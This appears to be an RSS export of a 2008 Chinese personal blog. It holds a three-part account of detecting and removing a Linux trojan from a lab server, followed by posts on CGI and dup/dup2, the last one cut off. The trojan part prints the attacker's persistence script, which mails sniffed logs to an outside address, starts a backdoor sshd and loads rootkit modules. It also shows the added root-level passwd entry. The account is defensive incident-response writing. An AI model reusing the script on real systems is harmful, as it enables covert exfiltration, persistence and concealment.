<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>mutecat's blog</title>
	<atom:link href="http://blog.donews.com/mutecat/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.donews.com/mutecat</link>
	<description>    懒猫</description>
	<lastBuildDate>Wed, 11 Jun 2008 03:37:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>清除linux“木马”记(三)</title>
		<link>http://blog.donews.com/mutecat/archive/2008/06/11/1306283.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2008/06/11/1306283.aspx#comments</comments>
		<pubDate>Wed, 11 Jun 2008 02:51:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[Linux应用-服务器领域]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2008/06/11/1306283.aspx</guid>
		<description><![CDATA[木马通常会运行一个后台进程，大家知道/etc/rc.d目录下有rc0.d、rc1.d、rc2.d、

rc3.d、rc4.d、rc5.d、rc6.d这几个目录，linux有运行级别这个概念，可以通过

/etc/iniitab来了解每个级别的含义。]]></description>
			<content:encoded><![CDATA[<p>&nbsp; by mutecat@byhh 2008.05.05</p>
<p>&nbsp; 木马通常会运行一个后台进程，大家知道/etc/rc.d目录下有rc0.d、rc1.d、rc2.d、</p>
<p>rc3.d、rc4.d、rc5.d、rc6.d这几个目录，linux有运行级别这个概念，可以通过</p>
<p>/etc/iniitab来了解每个级别的含义。</p>
<p>//这是redhat9下面inittab文件里面的<br /># Default runlevel. The runlevels used by RHS are:<br />#&nbsp;&nbsp; 0 &#8211; halt (Do NOT set initdefault to this)<br />#&nbsp;&nbsp; 1 &#8211; Single user mode<br />#&nbsp;&nbsp; 2 &#8211; Multiuser, without NFS (The same as 3, if you do not have networking)<br />#&nbsp;&nbsp; 3 &#8211; Full multiuser mode<br />#&nbsp;&nbsp; 4 &#8211; unused<br />#&nbsp;&nbsp; 5 &#8211; X11<br />#&nbsp;&nbsp; 6 &#8211; reboot (Do NOT set initdefault to this)<br />id:3:initdefault:</p>
<p>一般我们会使用0、3、5、6这几个级别， 3是字符界面，5是图形界面，0是关机，6是</p>
<p>重启，比如你在命令行敲入reboot，那么/etc/rc.d/rc6.d目录下的文件就会被执行，处理</p>
<p>重启之前的事情。对于每一个级别处理什么事情可以通过ntsysv &#8211;level来查看或者修改</p>
<p>，比如你想优化X11启动的速度可以通过ntsysv &#8211;level 5来关掉不必要的启动服务，相当</p>
<p>于XP的msconfig命令。</p>
<p>&nbsp;&nbsp; 既然rc.d目录有此等作用，也就自然而然成了众多木马选择的栖身之地，对于我的系统</p>
<p>启动的时候运行在级别3，所以进入/etc/rc.d/rc3.d目录，ls看了一下，怪只怪此&ldquo;黑客</p>
<p>&rdquo;粗心大意，植入的木马文件权限位和系统的不一样，用ls一眼就看出了，很是显眼，而</p>
<p>且起的名字也是相当的经典S96daemon。我们来看看这个文件守护进程执行了什么？</p>
<p>vi S96daemon<br />#!/bin/sh<br />cd /usr/bin/.tmp<br />./vad tcp.log &gt;conturi.log<br />cat /usr/bin/.tmp/conturi.log|mail -s &quot;back&quot; inconjito@yahoo.com<br />rm -rf /usr/bin/.tmp/tcp.log<br />./sshd -f sshd_config<br />./httpd &amp;<br />/sbin/insmod -f adore.o &gt; /dev/null 2&gt;&amp;1<br />/sbin/insmod -f cleaner.o &gt; /dev/null 2&gt;&amp;1<br />/sbin/rmmod cleaner &gt; /dev/null 2&gt;&amp;1<br />./ava i `cat pid` &gt; /dev/null 2&gt;&amp;1<br />./ava i `cat sniff.pid` &gt; /dev/null 2&gt;&amp;1<br />./ava h . &gt; /dev/null 2&gt;&amp;1<br />for i in {2,3,4,5}<br />do<br />./ava h /etc/rc.d/rc$i.d/S96daemon &gt; /dev/null 2&gt;&amp;1<br />done<br />./ava h /proc/ksyms &gt; /dev/null 2&gt;&amp;1</p>
<p>和Windows下的木马文件一样，大多是隐藏的，此木马执行文件位于/usr/bin/.tmp目录下</p>
<p>，隐蔽吧，cd到/usr/bin/.tmp看一下，下面有这些文件：</p>
<p>-rw-r&#8211;r&#8211;&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 48 May&nbsp; 4 16:46 conturi.log<br />-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 683&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 683&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25107 May&nbsp; 4 16:46 damn<br />-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; ftp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 20571 May&nbsp; 4 16:46 httpd<br />-rw-r&#8211;r&#8211;&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5613 May&nbsp; 4 16:46 pid<br />-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 27890 May&nbsp; 4 16:46 pss<br />-rwxrw-r&#8211;&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 686451 May&nbsp; 2 04:42 sshd<br />-rw-r&#8211;r&#8211;&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 702 Feb 19&nbsp; 2006 sshd_config<br />-rw&#8212;&#8212;-&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 541 Jul&nbsp; 2&nbsp; 2000 ssh_host_key<br />-rw&#8212;&#8212;-&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 512 May&nbsp; 4 16:46 ssh_random_seed<br />drwxr-xr-x&nbsp;&nbsp;&nbsp; 2 1001&nbsp;&nbsp;&nbsp;&nbsp; users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4096 May&nbsp; 4 18:02 tro<br />-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4060 Sep 22&nbsp; 2000 vad<br />-rwxr-xr-x&nbsp;&nbsp;&nbsp; 1 683&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 683&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 17849 May&nbsp; 4 16:46 zbam</p>
<p>这就是此&ldquo;黑客&rdquo;使用的作案工具，无奈我是小白，暂时还搞不清楚完整的过程，只能暂</p>
<p>时把S96daemon禁用掉，有兴趣的可以研究一下，你要木马文件的话我也可以email给你。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2008/06/11/1306283.aspx/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>清除linux“木马”记(二)</title>
		<link>http://blog.donews.com/mutecat/archive/2008/06/11/1306280.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2008/06/11/1306280.aspx#comments</comments>
		<pubDate>Wed, 11 Jun 2008 02:49:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[Linux应用-服务器领域]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2008/06/11/1306280.aspx</guid>
		<description><![CDATA[木马病毒源自古希腊特洛伊战争中著名的“木马计”而得名，这是网上说的，我是懒人

很少装防火墙，这就必然导致我的系统上会出现形形色色的木马，通常这些木马必须手动

清除而且很难处理干净，前段时间XP被木马搞得实在支撑不住了，于是下定决心重装系统

，不料我的机器不管用什么盘死活重装不了，无奈只好用木马克星+卡巴斯基暂时抵抗一下

，有点离题了。]]></description>
			<content:encoded><![CDATA[<p>by mutecat@byhh 2008.05.04</p>
<p>&nbsp;&nbsp; 木马病毒源自古希腊特洛伊战争中著名的&ldquo;木马计&rdquo;而得名，这是网上说的，我是懒人</p>
<p>很少装防火墙，这就必然导致我的系统上会出现形形色色的木马，通常这些木马必须手动</p>
<p>清除而且很难处理干净，前段时间XP被木马搞得实在支撑不住了，于是下定决心重装系统</p>
<p>，不料我的机器不管用什么盘死活重装不了，无奈只好用木马克星+卡巴斯基暂时抵抗一下</p>
<p>，有点离题了。</p>
<p>&nbsp;&nbsp; 昨天讲到系统reboot，结果大家可想而知，在初始化执行rc.sysint时就挂掉了，原因</p>
<p>是mount和grep这些命令都感染了病毒，运行出现段错误，导致初始化失败。只有再重启进</p>
<p>入single模式修复，当时想的也很简单，把感染了的文件用别的系统上的替换掉就OK了，</p>
<p>但是显然别人知道你有这一招，事先就把mount、netstat、ping这些给你黑了，这样一来</p>
<p>就郁闷了，没有了mount你就不能使用U盘了，没有了网络你也不能用ftp、scp等了。</p>
<p>&nbsp;&nbsp; 为了确认多少文件感染了病毒，进入bin目录，使用ls -l查看文件的最新修改时间，</p>
<p>发现grep、awk、ed、mount、netstat等都被感染了，幸好/sbin、/usr/bin、/usr/sbin</p>
<p>目录下的命令完好。</p>
<p>&nbsp;&nbsp; 旁边另外一台服务器也是redhat 9系统，所以修复工作也比较方便，把感染了病毒的</p>
<p>硬盘取下来挂载到这台服务器上，正如Tmacd所说，由于先前没有经验，在新的机器上我</p>
<p>执行了中毒硬盘bin目录下的grep命令，这时就郁闷了，此台机器也被感染，症状一样，</p>
<p>grep，mount等命令一概不能使用:( 这时候还是有点小害怕的，万一真的搞丢什么数据，</p>
<p>后果可很严重，两台服务器存储着两个项目组的大量数据。但是幸运的是网络并没down</p>
<p>掉，所以让同学打开他的redhat9虚拟机，用scp把系统中grep、mount等命令都拷贝过来</p>
<p>了，虽然grep、mount等可以使用，但是问题的根本并没找到，最后发现grep、mount、</p>
<p>umount、netstat等这些命令是&ldquo;亲属&rdquo;，只要其中有一个感染了，执行之后，其它的也</p>
<p>会相应感染，在用netstat -a的时候无意中发现了这个连接：</p>
<p>Proto Recv-Q Send-Q Local Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Foreign Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; State<br />tcp&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; voip:33768&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 207.66.155.21:http&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SYN_SEND</p>
<p>从中可以看出，本地一个tcp服务器从33768端口不断的给207.66.155.21的80端口发送数据</p>
<p>，而且每次netstat -a的时候本地的端口都会+2，这显然是非常不正常的！，于是为了找</p>
<p>出这个后台运行的木马程序，用netstat -anp|grep port 命令把本地所有开放端口的进程</p>
<p>号都找了出来，并且用ps -elf|grep pid把对应的程序也全部找了出来，并一一终止，遗</p>
<p>憾的是最终还是没有找出后台运行的木马程序位置，只有把sshd服务或者网络断开，才能</p>
<p>阻止上述连接，但是即使网络被断开，服务器一样中毒不浅，最痛苦的是不小心重启了服</p>
<p>务器，现在好了，两台服务器都进不去了 <img src='http://blog.donews.com/mutecat/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>不慌，还有一招，同学有redhat9虚拟机，把两台机器的硬盘都卸下来，并且挂载到同学的</p>
<p>机器上，修改虚拟机配置，添加物理硬盘(注意操作之前虚拟机一定要拍个快照，万一挂了</p>
<p>可以随时恢复，vmware就是好用:) )，进入虚拟机之后，手动挂载，用</p>
<p>gtar cf bin.tar bin把两块中毒硬盘的bin目录备份，然后rm -rf删除之，使用cp -dpR把</p>
<p>虚拟机目录下的bin目录拷贝过来，并使用chroot命令测试正确性，结果可用，其中在</p>
<p>rm -rf 第一块中毒硬盘目录下的bin目录时，提示ls、netstat、ps等三个命令无权限删除</p>
<p>，faint，我可是root权限，而且是-force，竟然提示没权限，用lsattr看了一下，果然文</p>
<p>件属性位被修改，显示如下：</p>
<p>&#8212;&#8212;-ai&#8212;&#8212;&nbsp;&nbsp; ls<br />&#8212;&#8212;-ai&#8212;&#8212;&nbsp;&nbsp; netstat<br />&#8212;&#8212;-ai&#8212;&#8212;&nbsp;&nbsp; ps<br />文件属性被标志为a时，即使用-f也是删除不了的，用chattr -ai * 把ai属性去掉，最后</p>
<p>成功删除。</p>
<p>bin目录下文件修复之后，两块硬盘都能启动并进入系统了，但是最先中毒的硬盘显然没</p>
<p>这么简单，待续。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2008/06/11/1306280.aspx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>清除linux“木马”记(一)</title>
		<link>http://blog.donews.com/mutecat/archive/2008/06/11/1306279.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2008/06/11/1306279.aspx#comments</comments>
		<pubDate>Wed, 11 Jun 2008 02:47:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[Linux应用-服务器领域]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2008/06/11/1306279.aspx</guid>
		<description><![CDATA[     linux木马？是不是很奇怪，大多数人的眼里，似乎只有Windows系统才会中木马、病毒

，而linux是安全的。但是安全是相对的，所以我们应该提高警惕。]]></description>
			<content:encoded><![CDATA[<p>&nbsp;by mutecat@byhh&nbsp; 2008.05.04</p>
<p>&nbsp; linux木马？是不是很奇怪，大多数人的眼里，似乎只有Windows系统才会中木马、病毒</p>
<p>，而linux是安全的。但是安全是相对的，所以我们应该提高警惕。</p>
<p>&nbsp; 今天是五四青年节，一大早来到实验室，似乎五一三天的假期还在延续，还是没有多少</p>
<p>心思去过多的关注项目的事情，而且听说国家也有规定，18到24周岁的青年人五四是有半</p>
<p>天假期的，加上boss也不在，所以更加放松了，端着一杯茶，逛白云，逛新浪。</p>
<p>&nbsp; 正在休闲自得的时候，实验室一师弟反应linux服务器登录不进去了，当时也没太在意</p>
<p>，自己也试着登录进去，确实登录不了，于是跑到服务器前面捣鼓一番，试着用login命令</p>
<p>，问题出现了，grep、mount命令执行都出现段错误，之前服务器的boot目录和bin目录都</p>
<p>曾经被人误删除过(-_-用root用户一定要小心啊!)，所以第一反应就是查看history，用vi</p>
<p>打开root目录下的.bash_history文件，看到里面的内容我就知道这不是实验室的人干的，</p>
<p>历史记录显示有人对/etc/rc.d目录下的文件进行过N此操作，使用过ntsysv命令，使用过</p>
<p>passwd命令，用login的时候证实root密码确实被改了(之前我们使用的密码是123 @_@)。</p>
<p>此时就知道情况不妙，用last -20 查看了最近的20次登陆情况，发现如下疑点：</p>
<p>kumi&nbsp;&nbsp;&nbsp;&nbsp; pts/2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 85.121.98.8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri May&nbsp; 2 04:48 &#8211; 05:23&nbsp; (00:34)<br />root&nbsp;&nbsp;&nbsp;&nbsp; pts/0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 85.121.98.8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri May&nbsp; 2 04:38 &#8211; 04:49&nbsp; (00:10)<br />root&nbsp;&nbsp;&nbsp;&nbsp; pts/0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 59.108.36.6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thu May&nbsp; 1 09:59 &#8211; 10:38&nbsp; (00:38)</p>
<p>由于我们都是局域网，五一期间根本没人登录过服务器，就是登录也不会是在外网登录，</p>
<p>外网只有远在美国的导师会登录，但是即使是导师登录，用户名也不会是kumi，于是查</p>
<p>看了一下/etc/passwd文件，文件尾被加入了这一行：</p>
<p>kumi:x:0:528::/home/kumi:/bin/bash</p>
<p>kumi用户尽然和root属于一个group，至此基本确定服务器被&ldquo;黑客&rdquo;攻击了，</p>
<p>ps:</p>
<p>&nbsp; 我们的服务器是内网， 平时都是大家自己用，所以root密码设置成了123，由于前端</p>
<p>时间老板在美国要用，所以就在网关做了映射，但是对安全没有引起重视，所以没修改</p>
<p>root密码，导致了今天的后果。</p>
<p>前面说过，mount命令，grep命令都被替换了或修改了，运行出现段错误， 用ls看了一下</p>
<p>文件最新更新时间，显示的是5.4，也就是今天， 和windows一样，系统崩溃最好也是最</p>
<p>笨的办法就是重启，但是往往这时候系统能够工作是听天由命。</p>
<p>先说这么多，晚上还有活动，对不起大家了，明天继续。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2008/06/11/1306279.aspx/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CGI接口的实现</title>
		<link>http://blog.donews.com/mutecat/archive/2007/09/24/1213126.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2007/09/24/1213126.aspx#comments</comments>
		<pubDate>Mon, 24 Sep 2007 03:27:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[Linux编程]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2007/09/24/1213126.aspx</guid>
		<description><![CDATA[by  mutecat@byhh  2007-09.24

    大二的时候就开始接触CGI了，那时候用perl、php都写过CGI程序，对CGI的了解

也浮于表面上，最近由于工作需要，需要用C来写CGI程序，是时候弄清楚CGI内部的工

作机制了。]]></description>
			<content:encoded><![CDATA[<p>by&nbsp; mutecat@byhh&nbsp; 2007-09.24</p>
<p>&nbsp;&nbsp;&nbsp; 大二的时候就开始接触CGI了，那时候用perl、php都写过CGI程序，对CGI的了解</p>
<p>也浮于表面上，最近由于工作需要，需要用C来写CGI程序，是时候弄清楚CGI内部的工</p>
<p>作机制了。</p>
<p>1. CGI是什么？</p>
<p>　　相信很多人和我之前一样，说到CGI，会熟练的蹦出一句&ldquo;Common Gateway</p>
<p>Interface &rdquo;，没错，这确实是CGI的全称，可以翻译为&ldquo;通用网关接口&rdquo;，可一说到它的</p>
<p>用处，有多少人能够讲清楚？　没关系，现在我就帮大家来解决这个困惑。按照CGI 1.1</p>
<p>里面的说法&ldquo;The Common Gateway Interface (CGI) is a simple interface for</p>
<p>running external programs, software or gateways under an information server in</p>
<p>a platform&#8211;idependent manner. Currently, the supported information servers</p>
<p>are HTTP servers.&rdquo;，和我们熟悉的一样，CGI现在都用在http服务器上，那么CGI能够</p>
<p>提供怎样的便利呢？答案如下：&ldquo;A plain HTML document that the Web daemon</p>
<p>retrieves is static, which means it exists in a constant state: a text file</p>
<p>that doesn&#8217;t change. A CGI program, on the other hand, is executed in</p>
<p>real-time, so that it can output dynamic information.&rdquo;</p>
<p>2.　CGI接口定义</p>
<p>&nbsp;&nbsp;&nbsp; 目前关于CGI接口最新的版本是1.1，　既然CGI程序充当的角色是一个Gateway，那么</p>
<p>这个Gateway的两端是什么？没错，是Http Server(Web Server)的输入和输出，换句话说</p>
<p>，CGI程序从Web Server那里获得浏览器发过来的数据，进行相应处理后，输出浏览器识别</p>
<p>的html文本给Web Server。为了便于理解，　还是用流程图示意一下。</p>
<p>&nbsp;client&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 　 Web Server　　　　　　　　　　　　　CGI程序　　　　<br />　　　　<br />　　&nbsp;&nbsp;&nbsp;&nbsp; http协议&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 　　　　　　　　&nbsp;&nbsp;&nbsp; CGI接口<br />发送请求－－－－&gt;接受请求并将数据处理发送给CGI程序－－－&gt;获得处理过的数据并解析<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 　　<br />接受数据&lt;－－－－获得CGI返回的数据并发送给客户端&lt;－－－处理数据并返回html数据</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图　1</p>
<p>本文讨论的重点就是这个CGI接口，　CGI程序通过环境变量和标准输入获得数据，通过标</p>
<p>准输出和标准错误输出发送数据，那么这个到底是怎么实现的呢？</p>
<p>3. CGI接口实现</p>
<p>其实Web Server和CGI程序就是两个进程，要实现CGI接口就是如何实现这两个进程的通信</p>
<p>，Web Server获得浏览器发送过来的请求后，将数据做相应处理，然后fork一个子进程处</p>
<p>理客户请求，子进程组织相应的环境变量和参数准备传递给CGI程序，然后调用execvp执</p>
<p>行CGI程序。CGI程序有自己的环境变量，就是如上实现的，第二节说过，CGI程序除了通</p>
<p>过环境变量获得数据外(其实这是get方法获取数据的手段)，还通过标准输入获得数据(pos</p>
<p>t方法获取数据的方法)，并且返回的数据是发送到标准输出。相信你和我之前有一样的疑</p>
<p>问，为什么CGI程序能够从标准输入、标准输出读写数据？其实这是通过管道和dup2系统</p>
<p>调用实现的，见下面的示意图：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _____________________<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dup2|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />(CGI program)read&lt;－stdin&lt;－－|p[0]－－管道1－－p[1]|&lt;－write (http server)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |_____________________|</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图2: CGI读的实现<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _____________________<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dup2|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />(CGI program)write－&gt;stdout－－&gt;|p[1]－－管道2－－p[0]|－&gt;read (http server)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |_____________________|</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图3: CGI写的实现</p>
<p>4. 如何写CGI程序</p>
<p>&nbsp;&nbsp;&nbsp; 有了上述的讲述后，应该算基本熟悉CGI的内幕了，这样写起CGI程序也会得心应手，</p>
<p>首先获得相应的环境变量并保存，然后就是数据处理，根据REQUEST_METHOD环境变量判断</p>
<p>表单提交的方法是GET还是METHOD，如何是GET，则从QUERY_STRING里面获取数据，如果是</p>
<p>POST，　那么从stdin读取长度CONTENT_LENGTH的数据。下面就是数据处理，组织html的输</p>
<p>出页面，并用printf输出。</p>
<p>5. 小结</p>
<p>&nbsp;&nbsp;&nbsp; 上面讲的其实只是一个概况，关于CGI的接口有兴趣的可以去看看这两个网页：</p>
<p>http://cgi-spec.golux.com/draft-coar-cgi-v11-03-clean.html　<br />http://hoohoo.ncsa.uiuc.edu/cgi/intro.html<br />&nbsp;&nbsp;&nbsp; 我叙述的可能有些地方也有问题，欢迎提出！　另外关于CGI实现的代码可以看看</p>
<p>开源软件&quot;thttpd&quot;，这是一个轻量级的http server，实现的很讲究，主页在</p>
<p>&nbsp;&nbsp;&nbsp; http://www.acme.com/software/thttpd/</p>
<p>　　完毕！</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2007/09/24/1213126.aspx/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>解惑dup/dup2(原创)</title>
		<link>http://blog.donews.com/mutecat/archive/2007/09/20/1212178.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2007/09/20/1212178.aspx#comments</comments>
		<pubDate>Thu, 20 Sep 2007 06:08:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[Linux编程]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2007/09/20/1212178.aspx</guid>
		<description><![CDATA[by mutecat@byhh&#160; 2007-09.20&#160;&#160;&#160; 最近一段时间在用c写cgi程序，接触了这两个系统调用dup/dup2，碰到了一些问题，　也解决了一些问题，　写出来与大家分享，也方便以后参考:)]]></description>
			<content:encoded><![CDATA[<p>by mutecat@byhh&nbsp; 2007-09.20</p>
<p>&nbsp;&nbsp;&nbsp; 最近一段时间在用c写cgi程序，接触了这两个系统调用dup/dup2，碰到了一些</p>
<p>问题，　也解决了一些问题，　写出来与大家分享，也方便以后参考:)</p>
<p>1. 文件描述符在内核中数据结构</p>
<p>&nbsp;&nbsp;&nbsp; 在具体说dup/dup2之前，　我认为有必要先了解一下文件描述符在内核中的形态。</p>
<p>一个进程在此存在期间，会有一些文件被打开，从而会返回一些文件描述符，从shell</p>
<p>中运行一个进程，默认会有3个文件描述符存在(0、１、2), 0与进程的标准输入相关联，</p>
<p>１与进程的标准输出相关联，2与进程的标准错误输出相关联，一个进程当前有哪些打开</p>
<p>的文件描述符可以通过/proc/进程ID/fd目录查看。　下图可以清楚的说明问题：</p>
<p>　　进程表项<br />&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;</p>
